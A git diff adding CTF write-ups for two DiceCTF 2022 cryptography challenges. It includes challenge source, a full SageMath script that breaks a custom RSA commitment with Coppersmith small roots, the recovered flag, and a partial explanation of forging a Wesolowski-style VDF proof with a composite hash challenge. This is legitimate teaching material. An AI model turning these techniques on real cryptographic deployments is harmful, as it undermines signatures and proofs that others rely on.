+from random import randrange +from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD + +flag = b'dice{?????????????????????????}' +n = 5 + +def get_prime(n, b): + p = getPrime(b) + while GCD(p - 1, n) != 1: + p = getPrime(b) + return p + +p = get_prime(n, 1024) +q = get_prime(n, 1024) +N = p*q +phi = (p - 1)*(q - 1) + +e = 0xd4088c345ced64cbbf8444321ef2af8b +d = inverse(e, phi) + +def sign(message): + m = bytes_to_long(message) + return pow(m, d, N) + +def commit(s, key, n): + return (s + key) % N, pow(key, n, N) + +def reveal(c1, c2, key, n): + assert pow(key, n, N) == c2 + return (c1 - key) % N + +r = randrange(1, N) +s = sign(flag) +c1, c2 = commit(s, r, n) + +print(f'N = {hex(N)}') +print(f'c1 = {hex(c1)}') +print(f'c2 = {hex(c2)}') diff --git a/dicectf-2022/crypto/commitment_issues.html b/dicectf-2022/crypto/commitment_issues.html new file mode 100755 index 0000000..4b03293 --- /dev/null +++ b/dicectf-2022/crypto/commitment_issues.html @@ -0,0 +1,434 @@ + + + + + +Commitment Issues | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Commitment Issues

+ +

Authors: Jack

+ +

Tags: crypto

+ +

Points: 272 (16 solves)

+ +

Challenge Author: gripingberry

+ +

Description:

+ +
+

I created a new commitment scheme, but commitment is scary so I threw away the key.

+
+ +

Challenge

+ +
from random import randrange
+from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD
+
+flag = b'dice{?????????????????????????}'
+n = 5
+
+def get_prime(n, b):
+	p = getPrime(b)
+	while GCD(p - 1, n) != 1:
+		p = getPrime(b)
+	return p
+
+p = get_prime(n, 1024)
+q = get_prime(n, 1024)
+N = p*q
+phi = (p - 1)*(q - 1)
+
+e = 0xd4088c345ced64cbbf8444321ef2af8b
+d = inverse(e, phi)
+
+def sign(message):
+	m = bytes_to_long(message)
+	return pow(m, d, N)
+
+def commit(s, key, n):
+	return (s + key) % N, pow(key, n, N)
+
+def reveal(c1, c2, key, n):
+	assert pow(key, n, N) == c2
+	return (c1 - key) % N
+
+r = randrange(1, N)
+s = sign(flag)
+c1, c2 = commit(s, r, n)
+
+print(f'N = {hex(N)}')
+print(f'c1 = {hex(c1)}')
+print(f'c2 = {hex(c2)}')
+
+ +

Solution

+ +

Reading the Challenge

+ +

This challenge is based on a custom commitment scheme for RSA signatures. Before diving into the solution, let’s break down what we’re given and try and identify the insecure part of the scheme.

+ +

The RSA modulus $N=pq$ has 2048 bits, and is the product of two 1024 bit primes, which are generated such that $n = 5$ is not a factor of $(p-1)$ or $(q-1)$. From this alone, we will not be able to factor $N$.

+ +

The public exponent is unusual: e = 0xd4088c345ced64cbbf8444321ef2af8b, but it’s prime and not so large as to cause much suspicion. So far, so good (or bad for finding a solution, i suppose…).

+ +

We are given the length of the flag , which is 31 bytes or 248 bits long. The signature of the flag is $s = m^d \pmod N$, where $m$ is not padded before signing. This means that $m$ is relatively small compared to the modulus (Coppersmith should start being a thought we have now). However, we don’t have the value of the signature, only the commitment.

+ +

The commitment gives us two values, $c_1$ and $c_2$. Let’s look at how the commitment is made.

+ +
def commit(s, key, n):
+	return (s + key) % N, pow(key, n, N)
+
+r = randrange(1, N)
+s = sign(flag)
+c1, c2 = commit(s, r, n)
+
+ +

First a random number $r$ is generated from r = randrange(1, N) as the key. The flag is signed and so we are left with two integers $(r,s)$ both approximately of size $N$. The commitment is made by adding together these integers modulo $N$:

+ +\[c_1 = (s + r) \pmod N.\] + +

We can understand $r$ here as effectively being a OTP, obscuring the signature $s$. We cannot recover $s$ from $c_1$ without knowing $r$ and we cannot recover $r$ without knowing $s$.

+ +

The second part of the commitment depends only on the random number $r$ and is given by

+ +\[c_2 = r^5 \pmod N.\] + +

Obtaining $r$ from $c_2$ is as hard as breaking RSA with the public key $(e=5,N)$. If $r$ was small, we could try taking the fifth root, but as it of the size of $N$, we cannot break $c_2$ to recover $r$.

+ +

So… either the challenge is impossible, or there’s a way to use our knowledge of $(c_1,c_2)$ together to recover the flag.

+ +

Combining Commitments

+ +

Let’s write down what we know algebraically:

+ +\[\begin{aligned} +s &= m^d &&\pmod N, \\ +c_1 &= s + r &&\pmod N, \\ +c_2 &= r^5 &&\pmod N. +\end{aligned}\] + +

Additionally, we know that $m$ is small with respect to $N$, so if we could write down a polynomial $g(m) = 0 \pmod N$, we could use Coppersmith’s small roots to recover $m$ and hence the flag!

+ +

Note: The following solution was thought up by my teammate, Esrever, so all credit to him.

+ +

Consider the polynomial in the ring $R = (\mathbb{Z}/N\mathbb{Z})[X]$:

+ +\[f(X) = (c_1 - X)^e \pmod N,\] + +

we have the great property that $f(r) = m$. However, written like this, the polynomial will be enormous, as $e$ is a (moderately) large prime [Maybe this is the reason $e$ was chosen to be in the form we see in the challenge].

+ +

Esrever’s great idea was to work in the quotient ring $K = R[X] / (X^5 - c_2)$, using the additional information we get from $c_2$. This allows us to take the $e$ degree polynomial $f(X)$ and recover a (at most) degree four polynomial by repeatedly substituting in $X^5 = c_2$.

+ +

Taking powers of the polynomial, we have that

+ +\[m^k = f^k(r) = (c_1 - r)^{e\cdot k} \pmod N\] + +

The hope was that by taking a set of these polynomials, we could write down a linear combination of $m^k$ such that all $r$ cancel, leaving a univariate polynomial in $m$. This is exactly what we need to find if we hope to solve using small roots.

+ +

We were able to accomplish this with a bit of linear algebra. Let’s go through step by step.

+ +

Linear Algebra to the Rescue

+ +

First let us write the $k^{\text{th}}$ power of $f(X)$ as $f^k(X)$ with coefficients $b_{ki}$:

+ +\[f^k(X) = \sum_{i=0}^{4} b_{ki} \cdot X^i\] + +

Taking $k \in \{1,\ldots 5 \}$ we can write down five degree four polynomials using a $5\times5$ matrix and column vector:

+ +\[\mathbf{M} = +\begin{pmatrix} +b_{10} & b_{11} & b_{12} & b_{13} & b_{14} \\ +b_{20} & b_{21} & b_{22} & b_{32} & b_{24} \\ +b_{30} & b_{31} & b_{32} & b_{33} & b_{34} \\ +b_{40} & b_{41} & b_{42} & b_{43} & b_{44} \\ +b_{50} & b_{51} & b_{52} & b_{53} & b_{54} \\ +\end{pmatrix} +\quad +\mathbf{x} = +\begin{pmatrix} +X^0 \\ +X^1 \\ +X^2 \\ +X^3 \\ +X^4 \\ +\end{pmatrix}.\] + +

With these, our polynomials can be recovered from matrix multiplication:

+ +\[\mathbf{F} = \mathbf{M}(\mathbf{x}) = +\begin{pmatrix} +f^1(X) \\ +f^2(X) \\ +f^3(X) \\ +f^4(X) \\ +f^5(X) \\ +\end{pmatrix}\] + +

To solve the challenge, our goal is to find a vector $\mathbf{a} = (\alpha_1, \alpha_2, \alpha_3, \alpha_4, \alpha_5)^\top$ such that

+ +\[\mathbf{M}^\top(\mathbf{a}) = (1,0,0,0,0)^\top.\] + +

This is equivalent to finding simultaneous solutions to

+ +\[\sum_{k=1}^5 \alpha_k \cdot b_{k0} = 1, \quad \sum_{k=1}^5 \alpha_k \cdot b_{kj} = 0, \quad j \in \{1,\ldots 4\}\] + +

Practically, finding this vector $\mathbf{a}$, allows us to derive the linear combination

+ +\[g(m) = \sum_{i=1}^5 \alpha_i f^i(X) = \sum_{i=1}^5 \alpha_i \cdot m^i.\] + +

with no dependency on the variable $X$, allowing us to understand $g(m)$ as a univariate polynomial in $m$, precisely what we need for small roots!!

+ +

Recovering $\mathbf{a}$ is possible as long as $\mathbf{M}$ has an inverse, as we can write

+ +\[\mathbf{a} = (\mathbf{M}^\top)^{-1} (1,0,0,0,0)^\top\] + +

Using SageMath, this is as easy as

+ +
M = ... # Matrix of coefficients
+v = vector(Zmod(N), [1,0,0,0,0])
+a = M.transpose().solve_right(v)
+
+ +

With the polynomial $g(m)$ recovered, we can apply SageMath’s .small_roots() method on our univariate polynomial and recover the flag!

+ +

Implementation

+ +
##################
+# Challenge Data #
+##################
+
+N  = 0xba8cb3257c0c83edf4f56f5b7e139d3d6ac8adf71618b5f16a02d61b63426c2c275ce631a0927b2725c6cc7bdbe30cd8a8494bc7c7f6601bcee5d005b86016e79919e22da4c431cec16be1ee72c056723fbbec1543c70bff8042630c5a9c23f390e2221bed075be6a6ac71ad89a3905f6c706b4fb6605c08f154ff8b8e28445a7be24cb184cb0f648db5c70dc3581419b165414395ae4282285c04d6a00a0ce8c06a678181c3a3c37b426824a5a5528ee532bdd90f1f28b7ec65e6658cb463e867eb5280bda80cbdb066cbdb4019a6a2305a03fd29825158ce32487651d9bfa675f2a6b31b7d05e7bd74d0f366cbfb0eb711a57e56e6db6d6f1969d52bf1b27b
+e  = 0xd4088c345ced64cbbf8444321ef2af8b
+c1 = 0x75240fcc256f1e2fc347f75bba11a271514dd6c4e58814e1cb20913195db3bd0440c2ca47a72efee41b0f9a2674f6f46a335fd7e54ba8cd1625daeaaaa45cc9550c566f6f302b7c4c3a4694c0f5bb05cd461b5ca9017f2eb0e5f60fb0c65e0a67f3a1674d74990fd594de692951d4eed32eac543f193b70777b14e86cf8fa1927fe27535e727613f9e4cd00acb8fab336894caa43ad40a99b222236afc219397620ca766cef2fe47d53b07e302410063eae3d0bf0a9d67793237281e0bfdd48255b58b2c1f8674a21754cf62fab0ba56557fa276241ce99140473483f3e5772fcb75b206b3e7dfb756005cec2c19a3cb7fa17a4d17f5edd10a8673607047a0d1
+c2 = 0xdb8f645b98f71b93f248442cfc871f9410be7efee5cff548f2626d12a81ee58c1a65096a042db31a051904d7746a56147cc02958480f3b5d5234b738a1fb01dc8bf1dffad7f045cac803fa44f51cbf8abc74a17ee3d0b9ed59c844a23274345c16ba56d43f17d16d303bb1541ee1c15b9c984708a4a002d10188ccc5829940dd7f76107760550fac5c8ab532ff9f034f4fc6aab5ecc15d5512a84288d6fbe4b2d58ab6e326500c046580420d0a1b474deca052ebd93aaa2ef972aceba7e6fa75b3234463a68db78fff85c3a1673881dcb7452390a538dfa92e7ff61f57edf48662991b8dd251c0474b59c6f73d4a23fe9191ac8e52c8c409cf4902eeaa71714
+
+##################
+#    Solution    #
+##################
+
+R.<X> = PolynomialRing(Zmod(N))
+R.<X> = R.quo(X^5 - c2)
+
+f1 = (c1 - X)^e
+f2 = f1^2
+f3 = f1^3
+f4 = f1^4
+f5 = f1^5
+
+M = Matrix(Zmod(N), 
+    [f1.lift().coefficients(sparse=False),
+    f2.lift().coefficients(sparse=False),
+    f3.lift().coefficients(sparse=False),
+    f4.lift().coefficients(sparse=False),
+    f5.lift().coefficients(sparse=False)]).transpose()
+
+v = vector(Zmod(N), [1,0,0,0,0])
+
+sol = list(M.solve_right(v))
+
+K.<m> = PolynomialRing(Zmod(N), implementation='NTL')
+g = -1
+for i,v in enumerate(sol):
+    g += v*m^(i+1)
+
+flag = g.monic().small_roots(X=2**(31*8), beta=1, epsilon=0.05)[0]
+print(int(flag).to_bytes(31, 'big'))
+
+ +

Flag

+ +

dice{wh4t!!-wh0_g4ve_u-thE-k3y}

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/dicectf-2022/crypto/commitment_issues.md b/dicectf-2022/crypto/commitment_issues.md new file mode 100755 index 0000000..edd7180 --- /dev/null +++ b/dicectf-2022/crypto/commitment_issues.md @@ -0,0 +1,261 @@ +# Commitment Issues + +**Authors:** Jack + +**Tags:** crypto + +**Points:** 272 (16 solves) + +**Challenge Author:** gripingberry + +**Description:** + +> I created a new commitment scheme, but commitment is scary so I threw away the key. + +## Challenge + +```python +from random import randrange +from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD + +flag = b'dice{?????????????????????????}' +n = 5 + +def get_prime(n, b): + p = getPrime(b) + while GCD(p - 1, n) != 1: + p = getPrime(b) + return p + +p = get_prime(n, 1024) +q = get_prime(n, 1024) +N = p*q +phi = (p - 1)*(q - 1) + +e = 0xd4088c345ced64cbbf8444321ef2af8b +d = inverse(e, phi) + +def sign(message): + m = bytes_to_long(message) + return pow(m, d, N) + +def commit(s, key, n): + return (s + key) % N, pow(key, n, N) + +def reveal(c1, c2, key, n): + assert pow(key, n, N) == c2 + return (c1 - key) % N + +r = randrange(1, N) +s = sign(flag) +c1, c2 = commit(s, r, n) + +print(f'N = {hex(N)}') +print(f'c1 = {hex(c1)}') +print(f'c2 = {hex(c2)}') +``` + +## Solution + +### Reading the Challenge + +This challenge is based on a custom commitment scheme for RSA signatures. Before diving into the solution, let's break down what we're given and try and identify the insecure part of the scheme. + +The RSA modulus $N=pq$ has 2048 bits, and is the product of two 1024 bit primes, which are generated such that $n = 5$ is not a factor of $(p-1)$ or $(q-1)$. From this alone, we will not be able to factor $N$. + +The public exponent is unusual: `e = 0xd4088c345ced64cbbf8444321ef2af8b`, but it's prime and not so large as to cause much suspicion. So far, so good (or bad for finding a solution, i suppose...). + +We are given the length of the `flag` , which is 31 bytes or 248 bits long. The signature of the flag is $s = m^d \pmod N$, where $m$ is not padded before signing. This means that $m$ is relatively small compared to the modulus (Coppersmith should start being a thought we have now). However, we don't have the value of the signature, only the commitment. + +The commitment gives us two values, $c_1$ and $c_2$. Let's look at how the commitment is made. + +```python +def commit(s, key, n): + return (s + key) % N, pow(key, n, N) + +r = randrange(1, N) +s = sign(flag) +c1, c2 = commit(s, r, n) +``` + +First a random number $r$ is generated from `r = randrange(1, N)` as the `key`. The flag is signed and so we are left with two integers $(r,s)$ both approximately of size $N$. The commitment is made by adding together these integers modulo $N$: + +$$ +c_1 = (s + r) \pmod N. +$$ + +We can understand $r$ here as effectively being a OTP, obscuring the signature $s$. We cannot recover $s$ from $c_1$ without knowing $r$ and we cannot recover $r$ without knowing $s$. + +The second part of the commitment depends only on the random number $r$ and is given by + +$$ +c_2 = r^5 \pmod N. +$$ + +Obtaining $r$ from $c_2$ is as hard as breaking RSA with the public key $(e=5,N)$. If $r$ was small, we could try taking the fifth root, but as it of the size of $N$, we cannot break $c_2$ to recover $r$. + +So... either the challenge is impossible, or there's a way to use our knowledge of $(c_1,c_2)$ together to recover the flag. + +### Combining Commitments + +Let's write down what we know algebraically: + +$$ +\begin{aligned} +s &= m^d &&\pmod N, \\ +c_1 &= s + r &&\pmod N, \\ +c_2 &= r^5 &&\pmod N. +\end{aligned} +$$ + +Additionally, we know that $m$ is small with respect to $N$, so if we could write down a polynomial $g(m) = 0 \pmod N$, we could use Coppersmith's small roots to recover $m$ and hence the flag! + +**Note**: The following solution was thought up by my teammate, [Esrever](https://twitter.com/esrever_25519), so all credit to him. + +Consider the polynomial in the ring $R = (\mathbb{Z}/N\mathbb{Z})[X]$: + +$$ +f(X) = (c_1 - X)^e \pmod N, +$$ + +we have the great property that $f(r) = m$. However, written like this, the polynomial will be enormous, as $e$ is a (moderately) large prime [Maybe this is the reason $e$ was chosen to be in the form we see in the challenge]. + +Esrever's great idea was to work in the quotient ring $K = R[X] / (X^5 - c_2)$, using the additional information we get from $c_2$. This allows us to take the $e$ degree polynomial $f(X)$ and recover a (at most) degree four polynomial by repeatedly substituting in $X^5 = c_2$. + +Taking powers of the polynomial, we have that + +$$ +m^k = f^k(r) = (c_1 - r)^{e\cdot k} \pmod N +$$ + +The hope was that by taking a set of these polynomials, we could write down a linear combination of $m^k$ such that all $r$ cancel, leaving a univariate polynomial in $m$. This is exactly what we need to find if we hope to solve using small roots. + +We were able to accomplish this with a bit of linear algebra. Let's go through step by step. + +### Linear Algebra to the Rescue + +First let us write the $k^{\text{th}}$ power of $f(X)$ as $f^k(X)$ with coefficients $b_{ki}$: + +$$ +f^k(X) = \sum_{i=0}^{4} b_{ki} \cdot X^i +$$ + +Taking $k \in \\{1,\ldots 5 \\}$ we can write down five degree four polynomials using a $5\times5$ matrix and column vector: + +$$ +\mathbf{M} = +\begin{pmatrix} +b_{10} & b_{11} & b_{12} & b_{13} & b_{14} \\ +b_{20} & b_{21} & b_{22} & b_{32} & b_{24} \\ +b_{30} & b_{31} & b_{32} & b_{33} & b_{34} \\ +b_{40} & b_{41} & b_{42} & b_{43} & b_{44} \\ +b_{50} & b_{51} & b_{52} & b_{53} & b_{54} \\ +\end{pmatrix} +\quad +\mathbf{x} = +\begin{pmatrix} +X^0 \\ +X^1 \\ +X^2 \\ +X^3 \\ +X^4 \\ +\end{pmatrix}. +$$ + +With these, our polynomials can be recovered from matrix multiplication: + +$$ +\mathbf{F} = \mathbf{M}(\mathbf{x}) = +\begin{pmatrix} +f^1(X) \\ +f^2(X) \\ +f^3(X) \\ +f^4(X) \\ +f^5(X) \\ +\end{pmatrix} +$$ + +To solve the challenge, our goal is to find a vector $\mathbf{a} = (\alpha_1, \alpha_2, \alpha_3, \alpha_4, \alpha_5)^\top$ such that + +$$ +\mathbf{M}^\top(\mathbf{a}) = (1,0,0,0,0)^\top. +$$ + +This is equivalent to finding simultaneous solutions to + +$$ +\sum_{k=1}^5 \alpha_k \cdot b_{k0} = 1, \quad \sum_{k=1}^5 \alpha_k \cdot b_{kj} = 0, \quad j \in \{1,\ldots 4\} +$$ + +Practically, finding this vector $\mathbf{a}$, allows us to derive the linear combination + +$$ +g(m) = \sum_{i=1}^5 \alpha_i f^i(X) = \sum_{i=1}^5 \alpha_i \cdot m^i. +$$ + +with no dependency on the variable $X$, allowing us to understand $g(m)$ as a univariate polynomial in $m$, precisely what we need for small roots!! + +Recovering $\mathbf{a}$ is possible as long as $\mathbf{M}$ has an inverse, as we can write + +$$ +\mathbf{a} = (\mathbf{M}^\top)^{-1} (1,0,0,0,0)^\top +$$ + +Using SageMath, this is as easy as + +```python +M = ... # Matrix of coefficients +v = vector(Zmod(N), [1,0,0,0,0]) +a = M.transpose().solve_right(v) +``` + +With the polynomial $g(m)$ recovered, we can apply SageMath's `.small_roots()` method on our univariate polynomial and recover the flag! + +## Implementation + +```python +################## +# Challenge Data # +################## + +N = 0xba8cb3257c0c83edf4f56f5b7e139d3d6ac8adf71618b5f16a02d61b63426c2c275ce631a0927b2725c6cc7bdbe30cd8a8494bc7c7f6601bcee5d005b86016e79919e22da4c431cec16be1ee72c056723fbbec1543c70bff8042630c5a9c23f390e2221bed075be6a6ac71ad89a3905f6c706b4fb6605c08f154ff8b8e28445a7be24cb184cb0f648db5c70dc3581419b165414395ae4282285c04d6a00a0ce8c06a678181c3a3c37b426824a5a5528ee532bdd90f1f28b7ec65e6658cb463e867eb5280bda80cbdb066cbdb4019a6a2305a03fd29825158ce32487651d9bfa675f2a6b31b7d05e7bd74d0f366cbfb0eb711a57e56e6db6d6f1969d52bf1b27b +e = 0xd4088c345ced64cbbf8444321ef2af8b +c1 = 0x75240fcc256f1e2fc347f75bba11a271514dd6c4e58814e1cb20913195db3bd0440c2ca47a72efee41b0f9a2674f6f46a335fd7e54ba8cd1625daeaaaa45cc9550c566f6f302b7c4c3a4694c0f5bb05cd461b5ca9017f2eb0e5f60fb0c65e0a67f3a1674d74990fd594de692951d4eed32eac543f193b70777b14e86cf8fa1927fe27535e727613f9e4cd00acb8fab336894caa43ad40a99b222236afc219397620ca766cef2fe47d53b07e302410063eae3d0bf0a9d67793237281e0bfdd48255b58b2c1f8674a21754cf62fab0ba56557fa276241ce99140473483f3e5772fcb75b206b3e7dfb756005cec2c19a3cb7fa17a4d17f5edd10a8673607047a0d1 +c2 = 0xdb8f645b98f71b93f248442cfc871f9410be7efee5cff548f2626d12a81ee58c1a65096a042db31a051904d7746a56147cc02958480f3b5d5234b738a1fb01dc8bf1dffad7f045cac803fa44f51cbf8abc74a17ee3d0b9ed59c844a23274345c16ba56d43f17d16d303bb1541ee1c15b9c984708a4a002d10188ccc5829940dd7f76107760550fac5c8ab532ff9f034f4fc6aab5ecc15d5512a84288d6fbe4b2d58ab6e326500c046580420d0a1b474deca052ebd93aaa2ef972aceba7e6fa75b3234463a68db78fff85c3a1673881dcb7452390a538dfa92e7ff61f57edf48662991b8dd251c0474b59c6f73d4a23fe9191ac8e52c8c409cf4902eeaa71714 + +################## +# Solution # +################## + +R. = PolynomialRing(Zmod(N)) +R. = R.quo(X^5 - c2) + +f1 = (c1 - X)^e +f2 = f1^2 +f3 = f1^3 +f4 = f1^4 +f5 = f1^5 + +M = Matrix(Zmod(N), + [f1.lift().coefficients(sparse=False), + f2.lift().coefficients(sparse=False), + f3.lift().coefficients(sparse=False), + f4.lift().coefficients(sparse=False), + f5.lift().coefficients(sparse=False)]).transpose() + +v = vector(Zmod(N), [1,0,0,0,0]) + +sol = list(M.solve_right(v)) + +K. = PolynomialRing(Zmod(N), implementation='NTL') +g = -1 +for i,v in enumerate(sol): + g += v*m^(i+1) + +flag = g.monic().small_roots(X=2**(31*8), beta=1, epsilon=0.05)[0] +print(int(flag).to_bytes(31, 'big')) +``` + +## Flag + +`dice{wh4t!!-wh0_g4ve_u-thE-k3y}` diff --git a/dicectf-2022/crypto/commitment_solve.sage b/dicectf-2022/crypto/commitment_solve.sage new file mode 100755 index 0000000..bf4b17e --- /dev/null +++ b/dicectf-2022/crypto/commitment_solve.sage @@ -0,0 +1,40 @@ +################## +# Challenge Data # +################## + +N = 0xba8cb3257c0c83edf4f56f5b7e139d3d6ac8adf71618b5f16a02d61b63426c2c275ce631a0927b2725c6cc7bdbe30cd8a8494bc7c7f6601bcee5d005b86016e79919e22da4c431cec16be1ee72c056723fbbec1543c70bff8042630c5a9c23f390e2221bed075be6a6ac71ad89a3905f6c706b4fb6605c08f154ff8b8e28445a7be24cb184cb0f648db5c70dc3581419b165414395ae4282285c04d6a00a0ce8c06a678181c3a3c37b426824a5a5528ee532bdd90f1f28b7ec65e6658cb463e867eb5280bda80cbdb066cbdb4019a6a2305a03fd29825158ce32487651d9bfa675f2a6b31b7d05e7bd74d0f366cbfb0eb711a57e56e6db6d6f1969d52bf1b27b +e = 0xd4088c345ced64cbbf8444321ef2af8b +c1 = 0x75240fcc256f1e2fc347f75bba11a271514dd6c4e58814e1cb20913195db3bd0440c2ca47a72efee41b0f9a2674f6f46a335fd7e54ba8cd1625daeaaaa45cc9550c566f6f302b7c4c3a4694c0f5bb05cd461b5ca9017f2eb0e5f60fb0c65e0a67f3a1674d74990fd594de692951d4eed32eac543f193b70777b14e86cf8fa1927fe27535e727613f9e4cd00acb8fab336894caa43ad40a99b222236afc219397620ca766cef2fe47d53b07e302410063eae3d0bf0a9d67793237281e0bfdd48255b58b2c1f8674a21754cf62fab0ba56557fa276241ce99140473483f3e5772fcb75b206b3e7dfb756005cec2c19a3cb7fa17a4d17f5edd10a8673607047a0d1 +c2 = 0xdb8f645b98f71b93f248442cfc871f9410be7efee5cff548f2626d12a81ee58c1a65096a042db31a051904d7746a56147cc02958480f3b5d5234b738a1fb01dc8bf1dffad7f045cac803fa44f51cbf8abc74a17ee3d0b9ed59c844a23274345c16ba56d43f17d16d303bb1541ee1c15b9c984708a4a002d10188ccc5829940dd7f76107760550fac5c8ab532ff9f034f4fc6aab5ecc15d5512a84288d6fbe4b2d58ab6e326500c046580420d0a1b474deca052ebd93aaa2ef972aceba7e6fa75b3234463a68db78fff85c3a1673881dcb7452390a538dfa92e7ff61f57edf48662991b8dd251c0474b59c6f73d4a23fe9191ac8e52c8c409cf4902eeaa71714 + +################## +# Solution # +################## + +R. = PolynomialRing(Zmod(N)) +R. = R.quo(X^5 - c2) + +f1 = (c1 - X)^e +f2 = f1^2 +f3 = f1^3 +f4 = f1^4 +f5 = f1^5 + +M = Matrix(Zmod(N), + [f1.lift().coefficients(sparse=False), + f2.lift().coefficients(sparse=False), + f3.lift().coefficients(sparse=False), + f4.lift().coefficients(sparse=False), + f5.lift().coefficients(sparse=False)]).transpose() + +v = vector(Zmod(N), [1,0,0,0,0]) + +sol = list(M.solve_right(v)) + +K. = PolynomialRing(Zmod(N), implementation='NTL') +g = -1 +for i,v in enumerate(sol): + g += v*m^(i+1) + +flag = g.monic().small_roots(X=2**(31*8), beta=1, epsilon=0.05)[0] +print(int(flag).to_bytes(31, 'big')) diff --git a/dicectf-2022/crypto/powpow.html b/dicectf-2022/crypto/powpow.html new file mode 100755 index 0000000..47ff92b --- /dev/null +++ b/dicectf-2022/crypto/powpow.html @@ -0,0 +1,428 @@ + + + + + +Pow-Pow | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Pow-Pow

+ +

Authors: Jack

+ +

Tags: crypto, VDF

+ +

Points: 299 (13 solves)

+ +

Challenge Author: defund

+ +

Description:

+ +
+

It’s a free flag, all you have to do is wait! Verifiably.

+ +

nc mc.ax 31337

+
+ +

Challenge

+ +
#!/usr/local/bin/python
+
+from hashlib import shake_128
+
+# from Crypto.Util.number import getPrime
+# p = getPrime(1024)
+# q = getPrime(1024)
+# n = p*q
+n = 20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591
+T = 2**64
+
+def is_valid(x):
+    return type(x) == int and 0 < x < n
+
+def encode(x):
+    return x.to_bytes(256, 'big')
+
+def H(g, h):
+    return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big')
+
+def prove(g):
+    h = g
+    for _ in range(T):
+        h = pow(h, 2, n)
+    m = H(g, h)
+    r = 1
+    pi = 1
+    for _ in range(T):
+        b, r = divmod(2*r, m)
+        pi = pow(pi, 2, n) * pow(g, b, n) % n
+    return h, pi
+
+def verify(g, h, pi):
+    assert is_valid(g)
+    assert is_valid(h)
+    assert is_valid(pi)
+    assert g != 1 and g != n - 1
+    m = H(g, h)
+    r = pow(2, T, m)
+    assert h == pow(pi, m, n) * pow(g, r, n) % n
+
+if __name__ == '__main__':
+    g = int(input('g: '))
+    h = int(input('h: '))
+    pi = int(input('pi: '))
+    verify(g, h, pi)
+    with open('flag.txt') as f:
+        print(f.read().strip())
+
+ +

Solution

+ +

The challenge presents us with a verifiable delay function (VDF), which (if correctly implemented) requires us to compute

+ +\[h \equiv g^{2^T} \pmod n.\] + +

This requires us to perform $T = 2^{64}$ squares of $g \pmod n$, which is totally infeasible for a weekend CTF! If we could factor $n$, we could first compute $a \equiv 2^T \pmod{\phi(n)}$, but as the challenge is set up, it’s obvious we can’t factor the 2048 bit modulus.

+ +

Another option would be to pick a generator $g$ of low order, for the RSA group $\mathcal{G} = (\mathbb{Z}/n\mathbb{Z})^*$, two easy options are $g=1$ or $g=-1$. However, looking at verify(g,h,pi), we see that these elements are explicitly excluded from being considered

+ +
def is_valid(x):
+    return type(x) == int and 0 < x < n
+
+def verify(g, h, pi):
+    assert is_valid(g)
+    assert is_valid(h)
+    assert is_valid(pi)
+    assert g != 1 and g != n - 1
+    m = H(g, h)
+    r = pow(2, T, m)
+    assert h == pow(pi, m, n) * pow(g, r, n) % n
+
+ +

First is_valid(x) ensures that $g,h,\pi \in \mathcal{G}$ and then the additional check assert g != 1 and g != n - 1 ensures that $g$ has unknown order.

+ +

So if we can’t run prove(g) in a reasonable amount of time, and we can’t cheat the VDF by factoring, or selecting an element of known order, then there must be something within verify we can cheat.

+ +

First, let’s look at what appears in verify(g,h,pi) and what we have control over.

+ +

We choose as input any $g,h,\pi \in \mathcal{G}$ and from $g,h$ shake128 is used as a pseudorandom function to generate $m$. Finally, from $m$ we find $r \equiv 2^T \pmod m$.

+ +

To pass the test in verify, naively we need to send integers from the output of h, pi = prove(g) such that the following congruence holds:

+ +\[h \equiv g^r \cdot \pi^m \pmod n.\] + +

Although this congruence assumes the input $(g,h,\pi)$ have the relationship established by prove(g), what if we instead view this as a general congruence? Let’s try by assuming all variables can be expressed as a power of a generator $b$ and attempt to forget about prove(g) altogether! For our implementation, we make the choice $b = 2$, but this is arbitary.

+ +\[g \equiv b^M \pmod n, \quad h \equiv b^A \pmod n, \quad \pi \equiv b^B \pmod n.\] + +

From this point of view, we need to try and find integers $(M,A,B)$ such that

+ +\[b^A \equiv b^{rM} \cdot b^{mB} \pmod n \Leftarrow A = rM + mB\] + +

The integers $(m,r)$ are generated from

+ +
def H(g, h):
+    return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big')
+
+# We can pick these
+M, A, B = ?, ?, ?
+g = pow(2,M,n)
+h = pow(2,A,n)
+pi = pow(2,B,n)
+
+# Effectively random
+m = H(g, h)
+r = pow(2, T, m)
+
+ +

and we can effectively treat these integers as totally random. More importantly, the values are unknown until we make a choice for both $g,h$ (and therefore $M,A$).

+ +

Our first simplification will be $A = 0 \Rightarrow h = 1$, which simplifies our equation and is a valid input for $h$. Now we need to pick $(M,B)$ such that

+ +\[0 = rM + mB,\] + +

where we remember that the values of $(r,m)$ are only known after selecting $M$, but $B$ can be set afterwards. It then makes sense to rearrange the above equation into the form:

+ +\[B = -\frac{rM}{m}\] + +

To find an integer solution $B$, we then need to find some $rM$ which is divisible by a random integer $m$.

+ +

The VDF function which appears in the challenge is based off work by Wesolowski, reviewed in a paper by Boneh, Bünz and Fisch. There is a key difference though between the paper and the challenge. In Wesolowski’s work, $m$ is prime, and finding a $M$ divisible by some large, random prime is computationally hard. The challenge becomes solvable because $m$ is totally random and so can be composite.

+ +

To find an integer $M \equiv 0 \pmod m$, the best chance we have is to use some very smooth integer, such as $M = n!$, or $M = \prod_i^n p_i$ as the product of the first $n$ primes. In the challenge author’s write-up, they pick

+ +\[M = 256! \prod_i^n p_i,\] + +

where they consider all primes $p_i < 10^{20}$. Including $256!$ allows for repeated small factors in $m$. In our solution, we find it is enough to simply take the product of all primes below $10^6$.

+ +

